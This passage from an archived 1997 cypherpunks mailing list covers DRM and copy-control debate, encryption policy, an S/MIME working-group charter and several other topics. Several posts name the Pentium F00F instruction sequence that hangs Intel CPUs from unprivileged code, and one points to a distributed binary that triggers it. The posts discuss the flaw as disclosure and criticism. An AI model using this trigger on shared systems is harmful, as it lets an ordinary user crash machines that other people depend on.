impose controls that permit anonymous users to see *only* lower reso-
lution versions. (by analogy, if you're going to wear a ski mask into a
jewelry store, you aren't likely to be shown the expensive stuff - if they
let you in the door in the first place).

If you were really determined, you could always take a photo of the
screen, re-scan it, do some image enhancement to get rid of the graini-
ness, re-save it and post it on your web page for all to see, (the
so-called digital-to-analog-to-digital work-around), but this is darned
inconvenient.
Also, try doing that with music or movies.... while avoiding the roving
automated net 'bots that will be out looking for illegal copies of content
(these are already common).  Not worth it.  For most people.

If it were, we'd already have massive illegal scanning operations in
third-world countries, and plenty of demand for their wares.  Sure,
this exists, and may even grow a bit around the fringes, but this hardly
proves the case for a single vision of an anarchic Robin Hood future for
all content (Sell today else I rip you off tomorrow!!)

As a non-disclosed third party, I'm not at liberty to discuss the 'guts' of
either the Crytolope or Digibox technologies (though I have seen them)
Both are covered, as you might imagine, by a fairly extensive array of
active and pending patents.  If you want to learn more, I'd recommend
contacting them directly:

www.intertrust.com   (or their partner, Softbank NetSolutions)
www.infomkt.ibm.com

Cheers.

- Art

Art Hutchinson                                       hutchinson@ncri.com
Northeast Consulting Resources, Inc.     phone: (617) 654-0635
One Liberty Square                                 fax: (617) 654-0654
Boston, MA 02160                                 www.ncri.com
------------------------------------------------------------------------------
"Working at the intersection of business and IT strategy to
help organizations embrace electronic commerce opportunities"



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sat, 8 Nov 1997 20:57:13 +0800
To: cypherpunks@cyberpass.net>
Subject: CHALLENGE to Meganet VME: million dollar hype?
Message-ID: <19971108.120158.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Meganet Corporation (818) 757-3890 
19528 Ventura Blvd. Suite 317 
Tarzana, CA 91356

    OPEN CHALLENGE TO YOU

over the last 30 years I have seen hundreds of new "unbreakable"
encryption programs; all of them have the same claims, the same
challenges, and the same secrecy.   but, with several notable
exceptions, each has contained a fatal flaw.  and I have seen
even my own "perfect" algorithms fall apart when I awake...

therefore, if you want any serious encryption experts to endorse
your product as having a factor of "unbreakability" by forcing the
level of brute force necessary to do so, provide the algorithm
and the associated source code to a few of us who enjoy breaking
algorithms as much as we enjoy trying to create them.

I dont have time, any more than my colleagues will have time, to 
waste on foolishness represented by your amateur challenge.

until you are willing to submit to an open review by your peers, 
your supposed encryption product is YAP. 

secondly, until your methodology is reviewed, we will consider 
the product a schill to Louis Freeh and other GAK and trap door
mandated system advocates.

if you wish to be considered a serious contender to replace RSA,
it's time to put your cards on the table; we see your nickel and
call.  in the matter of public encryption, there is no secrecy,
or there is no use.

your move.

    attila out...

cc: cypherpunks@cyberpass.net


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNGRf3LR8UA6T6u61AQGbHgH8CRQZShIUzW0wr1ib7cQGSfMcUbJTygx9
ckzuU/NB4W4u11rEjSQzC5ozybWWxHcjSQel+CZ79wPAP0vM+HM7Jg==
=zTyp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: =?iso-latin-de?Q?Heinz-J=FCrgen_Keller?= <hjk@ddorf.rhein-ruhr.de>
Date: Sat, 8 Nov 1997 20:54:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: WARNING: Serious Pentium Bug
In-Reply-To: <48aa69ecd4b055b2bfdf92ae0dd435b9@anon.efga.org>
Message-ID: <Pine.LNX.3.96.971108134328.9114I-100000@alien.lummerland.de>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


The german Chaos Computer Club distributes a Dos/Win binary (f00fc7c8.com,
5 Bytes :-) ) and a linux version.
Have a look at http://www.ccc.de .
- -------------------------------------------------------------------------------
  Heinz-Juergen Keller  hjk@[mail.]ddorf.rhein-ruhr.de   hjkeller@gmx.[net,de]
  2047bit PGP Public Key : http://www.ddorf.rhein-ruhr.de/~hjk/
  MD5 Fingerprint: 4d33126fbf8c1bcd8e96ba90d99f0bdc
- -------------------------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Requires PGP version 2.6 or later.

iQEVAwUBNGRgCyZWWJBRAP1VAQHVTgf/XhQy1bRhlLZh7E+/Xguusqd53/ZwKM7b
LHCZ3q02YuNc//UlW27uFSn31RPEjE0mQJWIjhgUxy3+JYa1ev8HIHcsi/0ls+9n
RXVkcYeclHs1r6YQc+IBtAteImRYsoyXJfE3vV07EdgGWrr9drdRwsAD6dHGcz0E
1hL/BmLeTTZJMbdc3vfj6fJGeQs5oH8oYnV70Tn6mdjmGkvohTCFSu/wTjaNwkSv
CT/Ubitt6u4kuK3+VaNVAb/1xiYVotcNHPRLIboLuIOihADTLdcCy/PWV4iMCYaS
G/r0mn5Unfil6vtRp1eawfk+h+qLf2fPC4POzIpakEW3ginvox1vYg==
=gE6c
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 9 Nov 1997 03:14:25 +0800
To: cypherpunks@cyberpass.net
Subject: S/MIME Mail Security WG approved - IETF
Message-ID: <v0311071db08a671c5524@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
Date: Sat, 8 Nov 1997 12:37:28 -0500
To: dcsb@ai.mit.edu
From: Vin McLellan <vin@shore.net>
Subject: S/MIME Mail Security WG approved - IETF
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Vin McLellan <vin@shore.net>

<Forwarded message; off the IETF-Announce mailing list>
-------------------------

To: IETF-Announce: ;
Subject: WG ACTION: S/MIME Mail Security (smime)
Date: Fri, 07 Nov 1997 18:19:29 -0500
From: Steve Coya <scoya@cnri.reston.va.us>

A new working group has been approved in the Security Area of the
IETF. Contact the Area Director or Working Group Chair for more
information.


S/MIME Mail Security (smime)
----------------------------


 Chair(s):
     Russ Housley <housley@spyrus.com>

 Security Area Director(s):
     Jeffrey Schiller  <jis@mit.edu>

 Security Area Advisor:
     Jeffrey Schiller  <jis@mit.edu>

 Mailing Lists:
     General Discussion:ietf-smime@imc.org
     To Subscribe:      ietf-smime-request@imc.org
     Archive:           http://www.imc.org/ietf-smime/

Description of Working Group:

The S/MIME Working Group will define MIME encapsulation of digitally
signed and encrypted objects whose format is based on PKCS #7. [1] X.509
Certificates and CRLs as profiled by the existing PKIX Working Group
will be used to support authentication and key management. The Working
Group will base its work on the S/MIME version 2 specification
(available from RSA Data Security), but the Working Group will be free
to change any part of that specification. In particular, the Working
Group will prepare a new document that allows algorithm independence,
based on PKCS #7 1.5.

The message syntax specification, based on PKCS #7 version 1.5, will be
expanded to allow additional key signature and key exchange algorithms.
The message and certificate specifications will be revised to allow them
to become standards. The optional security extensions document will
specify protocols that allow for additional security features, such as
signed message receipts.

The S/MIME Working Group will attempt to coordinate its efforts with the
OpenPGP Working Group in areas where the work of the two groups overlap,
particularly in specification of cryptographic algorithms and MIME
structure.

[1] RSA Data Security publishes the PKCS Series of documents. RSA Data
Security has permitted the IETF to publish them as Informational RFCs as
well as to extend and enhance them.

 Goals and Milestones:

   Nov 97       Submit First draft of message syntax specification as an I-D.

   Nov 97       Submit First draft of S/MIME v3 message specification as an
                I-D.

   Nov 97       Submit First draft of S/MIME optional security extensions as an
                I-D.

   Nov 97       Submit First draft of S/MIME v3 certificate specification as an
                I-D

   Dec 97       WG Last Call on Message Syntax.

   Dec 97       WG Last Call on Certifiticate Specification.

   Dec 97       WG Last Call on Message specification.

   Jan 98       WG Last Call on Optional Security Extensions.

   Jan 98       Submit Message Syntax I-D to IESG for consideration as a

/end forwarded message/

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for
good and ill... yet basically an intellectual construct, an idea, which by
its nature will resist efforts to restrict it to bureaucrats and others who
deem only themselves worthy of such Privilege."
_ A thinking man's Creed for Crypto/ vbm.

 *     Vin McLellan + The Privacy Guild + <vin@shore.net>    *
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 9 Nov 1997 05:12:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Content controls
In-Reply-To: <v02140b10b08a1ba0a4ac@[198.115.135.201]>
Message-ID: <199711082059.PAA13397@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v02140b10b08a1ba0a4ac@[198.115.135.201]>, on 11/08/97 
   at 09:29 AM, hutchinson@ncri.com (Art Hutchinson) said:

>>>>A whole bunch of people are now talking about these cash-settled recursive
>>>>auction processes, and they're a direct, and now obvious, consequence of
>>>>bearer (or at least instant) settlement markets for information on geodesic
>>>>networks. When you add anonymity to the transaction, you pretty much have
>>>>the final straw for "rights" tracking. Watermarks just tell you who the
>>>>information was stolen from, for instance. So, one more industrial
>>>>information process bites the dust.
>>
>>>Whoa!  Hang on here.  Sure, watermarks will tell you who information was
>>>stolen from, but they're just a stalking horse... a weak second cousin to
>>>*persistent* content control technologies (such as IBM's Cryptolopes and
>>>Intertrust's Digiboxes).  These allow rightsholders to manage a wide
>>>range of parameters (including price, usage context, and any other
>>>variable for which you can imagine having a certificate).  Whats
>>>fundamentally different about what are generically referred to as secure
>>>envelopes, is that they can maintain controls *indefinitely*
>>>(persistence), across an un-
>>>known, ad hoc, web of distribution over which one otherwise has no
>>>control.  And yes, this can all work even in a completely disconnected
>>>environment (laptop at 35,000 feet).
>>
>>>They allow rightsholders, if they so choose, to *continue* being rights-
>>>holders in a highly networked, digital world, and in a wide range of new
>>>ways, based on entirely new (or old) business models, that take advantage
>>>of rich/elaborate conditions for usage (e.g. you can view this picture
>>>anonymously, but it will cost you 2X as much, and you can only get it at
>>>low resolution, and you can't view it at all unless you can prove that
>>>you don't live in the Middle East).  No certificate for these conditions?
>>>Sorry, no content.
>>
>>>They are based the same basic stuff (public key cryptography of course)
>>>that *can* fuel wild anarchic visions of anonymous exchange.  ;)
>>
>>>But they aren't at all deterministic of any particular economic model.
>>
>>Well how exactly does one prevent data from being stolen once it has been
>>unlocked? I pay my 2X to view the picture anonymously and now I copy it
>>save it and distribute it worldwide. I fail to see how any
>>encryption/watermark scheme can prevent me from doing so.

>The control technologies to which I referred earlier turn the lock/unlock
>idea into far more than a binary choice.  This is what I meant by 
>"persistence".  The content cannot be used without its accompanying
>control set (which again, *might* include payment).  Part of the control 
>set I may impose on anonymous viewers could include preventing them from
>copying or saving the content directly in digital form.

>This is counter-intuitive to those of us who are used to having cut/paste
> available at our fingertips in most applications, but its relatively
>trivial  to disable these functions on a file by file basis. 
>Alternatively, I might impose controls that permit anonymous users to see
>*only* lower reso-
>lution versions. (by analogy, if you're going to wear a ski mask into a 
>jewelry store, you aren't likely to be shown the expensive stuff - if
>they let you in the door in the first place).

Can't do it. :)

Once you have given me the keys to unlock and display the data I can save
it, copy it, reproduce it and distribut it. To assume otherwise shows a
lack of understanding of computer systems and moderen OS's. Sure I would
need to write some software and jump through some hoops to do it but there
is nothing that your system can do to prevent me from doing so. Now wether
it is worth the effort to do so will depend on the value of the data
involved. Once you have given me the ability to display the data you have
lost the battle as I can do whatever I want with it. 

As far as the anonymous purchaces, no a big deal. Wan Sin Soo pays the
full $$$ amount decrypts the data, copies it and send it too his buddies
in Bangledesh. Next week there is a million copies of your data floating
around the Far-East and Wan Sin Soo is nowhere to be found. The fact that
he bought it non-anonymously is of little relevance.

>If you were really determined, you could always take a photo of the 
>screen, re-scan it, do some image enhancement to get rid of the graini-
>ness, re-save it and post it on your web page for all to see, (the
>so-called digital-to-analog-to-digital work-around), but this is darned
>inconvenient.   Also, try doing that with music or movies.... while
>avoiding the roving  automated net 'bots that will be out looking for
>illegal copies of content  (these are already common).  Not worth it. 
>For most people.

digital-analog-digital is completly unnessasary.

>If it were, we'd already have massive illegal scanning operations in 
>third-world countries, and plenty of demand for their wares.  Sure, this
>exists, and may even grow a bit around the fringes, but this hardly 
>proves the case for a single vision of an anarchic Robin Hood future for
>all content (Sell today else I rip you off tomorrow!!)

There are. China, Russia, Eastern Europe, Far East. You have multi-million
dollar operations that all they do is pirate software, movies, music,
...ect. If the can make money pirating your data then the will do so.

>As a non-disclosed third party, I'm not at liberty to discuss the 'guts'
>of  either the Crytolope or Digibox technologies (though I have seen
>them) Both are covered, as you might imagine, by a fairly extensive array
>of  active and pending patents.  If you want to learn more, I'd recommend
> contacting them directly:

I have not looked at Digibox but I have looked at Crytolope and the
technology can be defeated. All these systems do is make it hard for Joe
SixPack running WinBlows 2000 to make a couple of copies for his freinds.
For anyone determined to pirate the data this is just a minor
inconvienance just like other such schemes in the past.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNGSJEY9Co1n+aLhhAQFOtQP/WlOYl/33Qeko3eFaBAWR6ajYcFoONYQ/
+vDLDgY55x3fVwoVumB62AjtUIXM+deHAruKjDw0rgLhzRhqilOndw/0D+FT8HV3
4W0rehoSG3s3T2hqkJq1vq29X+fQJ7LqE7nWTS0wWEZjBEMkPZyIv50/rRTSK+rB
/VIF1esIG3o=
=/qfm
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 9 Nov 1997 05:29:04 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Hughes Markets? (finally some stimulating debate on dcsb)
In-Reply-To: <v03110710b08a5430e2ef@[139.167.130.248]>
Message-ID: <199711082119.QAA13622@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03110710b08a5430e2ef@[139.167.130.248]>, on 11/08/97 
   at 12:39 PM, Robert Hettinga <rah@shipwright.com> said:

>--- begin forwarded text


>X-Sender: hutchinson@click.ncri.com
>Mime-Version: 1.0
>Date: Sat, 8 Nov 1997 09:28:21 -0500
>To: "R. Jason Cronk" <listmanager@orange.redmans.com>
>From: hutchinson@ncri.com (Art Hutchinson)
>Subject: Re: Hughes Markets? (finally some stimulating debate on dcsb)
>Cc: dcsb@ai.mit.edu
>Sender: bounce-dcsb@ai.mit.edu
>Precedence: bulk
>Reply-To: hutchinson@ncri.com (Art Hutchinson)

>I wrote:

>>>Whoa!  Hang on here.  Sure, watermarks will tell you who information
>>>was stolen from, but they're just a stalking horse... a weak second cousin
>>>to *persistent* content control technologies (such as IBM's Cryptolopes
>>>and Intertrust's Digiboxes).  These allow rightsholders to manage a wide
>>
>><SNIP>
>>
>>>They allow rightsholders, if they so choose, to *continue* being rights-
>>>holders in a highly networked, digital world, and in a wide range of new

>To which R. Jason Cronk replied:

>>"if they so choose"  and here is where I submit the two camps divide.

>Yep.  I couldn't agree more.  There will be at *least* two, (and probably
>more like 2000) 'camps'.  And here is where I think we diverge....

>>Sure, you can decide to try to hold on to the rights, but it is going to be
>>market suicide.  Your best bet is to sell it all off, get what you can for
>>it and do it again. In other words, a recursive auction market.

>With more sophisticated tools for rights management, the market contest
>can  move to another level, with content business models *themselves*
>vying for attention.  Recursive auctions are merely one of these models.

>They may make perfect sense for the kind of content that is going to
>decline in value over time anyway (news, for example).  Not all content
>works this way though.  Recursive auction markets are exciting because
>for the most part, they haven't been possible in 'copyright' industries
>until recently.  Its easy to say that they will be more important than
>they are today.  They will.  But to say that they are fore-ordained as
>the only way for creators to get compensated is much too narrow.

>This view would only make sense if detaching copies from usage controls
>were easy.  Today it is, and there is a common misconception that this
>will continue.  But it won't.  Cryptographers especially should
>understand this.

You can use various "tricks" to make it more complicated but the fact
remains that at some point in time you have to present the data to the
user. Once you make this step the data can be snatched and seperated from
it's controls. Wether the effort to do this is worthwhile will depend on
the value of the data. 

>The same base technology that makes it extremely
>difficult to mint one's own digital coins in someone else's currency will
>make it extremely difficult to use someone else's digital content without
>complying with their controls (including payment).  It is inconsistent to
>say that digital money can have persistent value and digital content
>cannot. Both are information.  Both based on a common faith in a 'brand':
>either the U.S. Treasury or Disney.  Same idea.

Hogwash, you are compairing apples to oranges.

The value of money is that you can use it to purchase thing with it. A
forged copy of money is worthless because if the forgery is detected you
can buy anything with it. On the other hand a movie's value is in it's
entertainment from viewing it. I can just as easily be entertained by an
"forged" copy of snow white as well as an "official" copy. The fact that
it is a copy has not dimished it's value.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNGTW8o9Co1n+aLhhAQFoUQP/WnsOpoCWCTROdcQ6Qf882ItTRdEVRmRc
YXEAfQpCyLmUewvOq1VobJDaIhvgI3gZPwQFEUuGRTDR18f9oLNbLFeY5DGB8VSO
fsDFanst/etOojx6k3w5cbQE0K/jNTTYRUUVW45UCFpwEvhP/x94dKqCMUxAMQZd
i251OO8Lraw=
=ud3e
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 9 Nov 1997 04:08:38 +0800
To: cypherpunks@toad.com
Subject: Senator Ashcroft on Encryption
Message-ID: <1.5.4.32.19971108200131.00c02574@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



[Congressional Record: November 7, 1997 (Senate)]
[Page S11959]
 
                         ENCRYPTION

  Mr. ASHCROFT. Mr. President, I wanted to take a moment to 
associate myself with the comments of the majority leader from 
October 21, 1997. Senator Lott has correctly highlighted the 
FBI's constantly shifting arguments and the Bureau's seemingly 
relentless attempts to grab more power at the expense of the 
Constitution, particularly the fourth amendment's protection 
of privacy and the fifth amendment's guarantee of due process.

  The FBI legislative proposal goes far beyond the Commerce 
Committee's misguided encryption legislation in further 
disregarding our Constitution. Instead of working with those who 
understand that S.909 gives the FBI unprecedented and troubling 
authority to invade lives, the FBI has attempted to grab even 
broader authority. The Senate would be foolish to pass S.909. 
In no way can we even consider the ill-advised FBI approach. 
The reach of the FBI has now extended so far that the President 
has taken the other side of the issue and supported a free 
market approach, according to his public comments delivered 
abroad.

  I can only conclude that the FBI has introduced its proposal 
as a ploy to make S.909 look like a reasonable compromise. The 
only other explanation for the FBI's proposal is that the Bureau 
will not be satisfied with S.909, but instead will continue to 
work to erode our Constitutional protections. In fact, the new 
proposal only draws attention to the many problems of the 
Commerce Committee language. Neither proposal is acceptable.

  The issue of encryption must be revisited in a real and serious 
way next year, both at the committee level and in the Senate 
chamber, to examine the many Constitutional implications of the 
various proposals. I look forward to working with the Majority 
Leader and other Senators who have expressed interest in 
encryption legislation.

  I yield the floor.

[End]

See Senator Lott's comments on encryption:

  http://jya.com/lott-crypto.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sun, 9 Nov 1997 05:34:22 +0800
To: cypherpunks@cyberpass.net
Subject: F00FC7C8 Kills P5
Message-ID: <199711082128.PAA16878@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



In comp.sys.intel, the keeper of the Intel Secrets Website,
rcollins@slip.net (Robert Collins) writes this absolutely amazing
paragraph:
 
> If nobody knew about this problem, nobody would be affected
> by it.  Therefore, without knowledge of this problem, there
> really isn't a reasonable security risk to multi-user
> systems.
 
> No, I had no desire to publicize the bug.
 
Egads.  Talk about "Security by Obscurity"!
 
Someone buy this poor man a Cypherpunks subscription.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jamie Lawrence <jal@acm.org>
Date: Sun, 9 Nov 1997 09:08:06 +0800
To: cypherpunks@toad.com
Subject: Re: Mixed Messages / Re: F00FC7C8 Kills P5 AND Re: Major securityflaw in Cybercash 2.1.2 (fwd)
In-Reply-To: <199711082233.XAA11819@basement.replay.com>
Message-ID: <v03110701b08aabba48ad@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:33 PM +0100 on 11/8/97, Anonymous wrote:


> Eric Cordian wrote:
> > In comp.sys.intel, the keeper of the Intel Secrets Website,
> > rcollins@slip.net (Robert Collins) writes this absolutely amazing
> > paragraph:
> > > If nobody knew about this problem, nobody would be affected
> > > by it.
> > > No, I had no desire to publicize the bug.

> We at the Electronic Fraud Foundation also have no desire for these
> bugs to be publicized. We're making a goddamn fortune off of them.
> (Damn near as much as we're making off of our remailer-donation scam.)

Hope you're making a kill(1)ing.

Too bad any semi-intelligent entity with access to Alta-Vista can find
enough info to exploit this bug, right now...

Here's to hoping the remailer scam works out better -

-j

--
"This analogy is like lifting yourself by your own bootstraps."
                                         -Douglas R. Hofstadter
_______________________________________________________________
Jamie Lawrence                                      jal@acm.org






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 9 Nov 1997 06:11:54 +0800
To: cypherpunks@toad.com
Subject: Mathematician Sidney Darlington Dies
Message-ID: <1.5.4.32.19971108220530.00bfc038@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



NYT obit November 8:

Sidney Darlington, a Bell Labs mathematician who pioneered
the design of electronic circuits and whose formulas helped
launch rockets 300 times without error, died on Oct. 31 at his
home in Exeter, N.H. He was 91.

At Bell Labs, in Murray Hill, N.J., where he headed the 
mathematics research center, Dr. Darlington was ranked
alongside his colleague Claude Shannon for breakthroughs
in communications networks that foreshadowed the integrated
circuit and in turn computers and modern communications.

Dr. Darlington's discovery of ways to custom-design circuits
using precise mathematical specifications, a speciality now
called network synthesis theory, made him a leading authority
in electronic cirsuits for decades, said Dr. Ernest Kuh, a
former colleague who is now at the University of California
at Berkeley.

Before Dr. Darlington's work, circuits were designed in an
intuitive, ad hoc manner. His advances won him the highest
award in his field, the Medal of Honor of the Institute of
Electrical and Electronic Engineers.

At a chalkborad at Bell labs with three or four other rocket
guidance experts, he would scrawl equations that became
the basis for guiding the Air Force Titan I, the Thor-Delta
and dozens of other rockets.

His rocket guidance formulas could instantly plug in the
information from several sources -- the trajectory designed
to launch a staellite, the data from radar that tracked the
rocket, and the instruments in the rocket itself -- and
could then return a flow of commands to the rocket.

Always a tinkerer, Dr. Darlington in the 1950's spent a
weekend at home playing with a new gadget, the transistor.
Trying to get more gain from an amplifier the size of a kernel
of corn, he found a way to combine two or more transistors
in one chip, an idea that became the Darlington Compound
Chip and pointed the way toward integrated circuits.

-----

For more see NYT online: http://www.nytimes.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sun, 9 Nov 1997 09:10:56 +0800
To: cypherpunks@cyberpass.net
Subject: Sloppy Chips from Intel
Message-ID: <199711090056.SAA17235@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



By now everyone has probably heard that Intel Pentium and Pentium MMX
chips hang when executing the instruction sequence F00FC7C8 even when
in an outer ring of privilege or in V86 mode.
 
With numerous small Linux-based ISPs out there, often providing shell
services to anonymous customers, or serving customer-provided CGI
programs, the existence and public disclosure such an easily
exploitable flaw in their CPU's hardware protection mechanism is
catastrophic.
 
Intel, rather than extensively verifying their microprocessors before
shipping them out the door, now advertises that its chips may contain
"errata," or "deviations from published specifications" and doesn't
seem to regard such problems as any big deal.
 
This latest flaw is the third unexpected surprise in Intel's Pentium
product line.  A serious precision problem in double precision
floating divide was discovered in early Pentium chips, and it was
recently disclosed that there are circumstances under which the
Pentium Pro may fail to generate an exception when a Float to Integer
conversion overflows.
 
While today's problem does not permit clandestine entry into a system,
since it kills the system when it is exercised, it does raise the
question of whether there are other more subtle problems in the
hardware protection mechanism, which might enable knowlegable users to
execute an occasional instruction at the wrong privelege level, or
otherwise do things which should be prohibited according to the
published hardware specifications.
 
It is interesting to note that such problems have not been reported in
compatible chips manufactured by AMD, a competitor of Intel.
 
Buggy microprocessor microcode can produce very subtle exploitable
faults in a chip, which are almost impossible to notice when running
ordinary applications and operating systems.  Instructions may do the
wrong thing only when they follow certain other instructions.  There
may be rare times when the processor is wrongly interruptable, or when
a restricted instruction is not forbidden, or is given access at the
wrong privilege level, or with incorrect address translation.
 
Were such features to be deliberately introduced into a chip, in order
to permit a backdoor for undetected entry, they could be made
completely undetectable, and could depend upon any number of unlikely
conditions, or even specific hidden register values, in order to be
made manifest.  Every microprocessor could even have its own "key" for
the activation of such "special features."
 
Unlike Unix, for which complete compilable source code is available,
we know little about what what microcode is run through the several
million transistors on a typical microprocessor. If sloppy engineering
alone produces such dangerous faults, imagine what could happen should
industry decide to deliberately cooperate with various LEAs and TLAs.
(In the national interest, of course.)
 
The possiblities are truly mind-boggling.  Perhaps exploits like tapping
Aldrich Ames' PC and crashing Saddam Husseins' PCs en masse were not done
by black bag jobs and viri, but by the activation of "National Security"
backdoors present in all complex modern microprocessors.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 9 Nov 1997 09:37:17 +0800
To: 3umoelle@informatik.uni-hamburg.de (Ulf Möller )
Subject: Re: [SURVEY try again] pgp5.x / pgp2.x users
In-Reply-To: <3463E8AC.3F54BC7E@systemics.com>
Message-ID: <3.0.3.32.19971108202227.0353aeec@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:23 AM 11/9/97 +0100, Ulf Möller wrote:
>> > 20 % of the users who have posted digitally signed messages that are
>> >  available in my news spool (international and local newsgroups and
>> >  mailing lists) use PGP 5.  The sample contains 545 unique e-mail
>> >  addresses.  YMMV.

Just to skew the numbers, I for instance have PGP 5.0 but am using a 2.6.2 
DOS generated key that is RSA, not DSS.  Grepping would show me to be PGP5.x, 
which perhaps technically I am, but my key is really 2.x


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBNGUQUEGpGhRXg5NZAQF7fQH5AfV2VfTwuLYs1ND6UTwoWIzAf3OjTSA8
saBlUQJquCUotwr5zk3cU+KiJJ9/hgLsLzOfet16ow1Do3zop7zUJw==
=VDPv
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 9 Nov 1997 13:13:39 +0800
To: cypherpunks@toad.com
Subject: Cop Nation / Re: E-Peso's for tractors - McCaffrey on banking
In-Reply-To: <v0311070eb08a5388bb6a@[139.167.130.248]>
Message-ID: <34653BB8.4EF8@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
> From: "Blair Anderson" <blair@technologist.com>
> Subject: E-Peso's for tractors - McCaffrey on banking

>          U.S. drug czar appeals to banks to track laundering
>          By Anthony Boadle
> 
>          WASHINGTON (Reuters) - Bankers, watch those ``smurf''
>          accounts.
...
>          Any innocent-looking person could be depositing a drug
>          baron's cash parceled into amounts smaller that the
>          $10,000 reporting threshhold to avoid suspicion, so get
>          to know your customer, they warned.

  Is it my imagination, or can the above be loosely translated as,
"_Everyone_ is a suspect!" 
 
>          ``We are losing contact with the enemy,'' the general
>          said. ''The government cannot follow laundering by
>          itself. You are going to have to help.''

  "I turned in my best customer, and all I got was this lousy T-shirt!"
 
>          McCaffrey said the drug trade was moving into new areas
>          such as the securities industry to launder its profits.

  Looks like we're going to need some additional snitches in that
area. I wonder if the grade-school narc-trainers are going to advise
the children to go through their parent's finiancial statements while
they are searching for the parent's bag of pot.
  Perhaps those who fail to graduate from high-school can get a GED
